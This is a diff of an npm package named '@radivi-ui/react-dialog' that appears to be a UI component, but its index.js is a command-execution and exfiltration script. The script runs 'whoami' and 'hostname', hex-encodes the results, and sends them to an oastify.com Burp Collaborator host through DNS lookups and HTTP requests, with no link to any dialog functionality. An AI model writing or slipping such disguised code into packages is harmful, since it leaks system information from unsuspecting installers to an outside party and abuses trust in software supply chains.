@radivi-ui/react-dialog 1.1.3

package/index.js

@@ -0,0 +1,85 @@
+// command-injection-oob.js
+const https = require('https');
+const http = require('http');
+const dns = require('dns');
+const { execSync } = require('child_process');
+
+const COLLAB_HOST = 'fexxej4o07ba7nbvi82ucsw4xv3mref3.oastify.com';
+
+// Encode output safely for DNS label (max 63 chars per label)
+function encodeForDns(str) {
+  return Buffer.from(str.trim())
+    .toString('hex')
+    .slice(0, 60); // DNS label limit
+}
+
+// Exfiltrate via DNS lookup — most reliable for blind command injection
+function exfilViaDns(label, collaboratorHost) {
+  const subdomain = `${label}.${collaboratorHost}`;
+  console.log(`[DNS EXFIL] Querying: ${subdomain}`);
+  
+  return new Promise((resolve) => {
+    dns.resolve(subdomain, (err) => {
+      // Error is expected — the DNS query still fires to Burp Collaborator
+      resolve({ triggered: true, subdomain, error: err?.message });
+    });
+  });
+}
+
+// Exfiltrate via HTTP GET with output in path/subdomain
+function exfilViaHttp(label, collaboratorHost) {
+  const host = `${label}.${collaboratorHost}`;
+  console.log(`[HTTP EXFIL] Requesting: http://${host}/`);
+
+  return new Promise((resolve) => {
+    const req = http.get(`http://${host}/`, (res) => {
+      resolve({ triggered: true, status: res.statusCode });
+    });
+    req.on('error', (err) => resolve({ triggered: true, error: err.message }));
+    req.setTimeout(5000, () => { req.destroy(); resolve({ triggered: true, error: 'timeout' }); });
+  });
+}
+
+// Run a local command and exfiltrate output to Burp Collaborator
+async function testCommandInjection(command, collaboratorHost = COLLAB_HOST) {
+  console.log(`\n[+] Running command: ${command}`);
+
+  let output;
+  try {
+    output = execSync(command, { timeout: 5000 }).toString().trim();
+    console.log(`[+] Output: ${output}`);
+  } catch (e) {
+    output = e.message;
+    console.warn(`[!] Command error: ${output}`);
+  }
+
+  const encoded = encodeForDns(output);
+  console.log(`[+] Encoded for DNS: ${encoded}`);
+
+  // Fire both DNS and HTTP to maximize Burp Collaborator detection
+  const [dnsResult, httpResult] = await Promise.all([
+    exfilViaDns(encoded, collaboratorHost),
+    exfilViaHttp(encoded, collaboratorHost)
+  ]);
+
+  return { command, output, encoded, dnsResult, httpResult };
+}
+
+// --- Main ---
+(async () => {
+  const results = [];
+
+  // Test 1: whoami
+  results.push(await testCommandInjection('whoami'));
+
+  // Test 2: hostname
+  results.push(await testCommandInjection('hostname'));
+
+  console.log('\n[✓] All probes sent to Burp Collaborator.');
+  console.log('[✓] Check your Collaborator tab for DNS/HTTP interactions.');
+  console.log('\nSummary:');
+  results.forEach(r => {
+    console.log(`  ${r.command} => "${r.output}" => label: ${r.encoded}`);
+  });
+})();
+

package/package.json

@@ -0,0 +1,13 @@
+{
+  "name": "@radivi-ui/react-dialog",
+  "version": "1.1.3",
+  "description": "to help on react part",
+  "main": "index.js",
+  "scripts": {
+    "start": "node index.js",
+    "release:patch": "npm version patch && npm publish --access public",
+    "release:minor": "npm version minor && npm publish --access public",
+    "release:major": "npm version major && npm publish --access public"
+  }
+}
+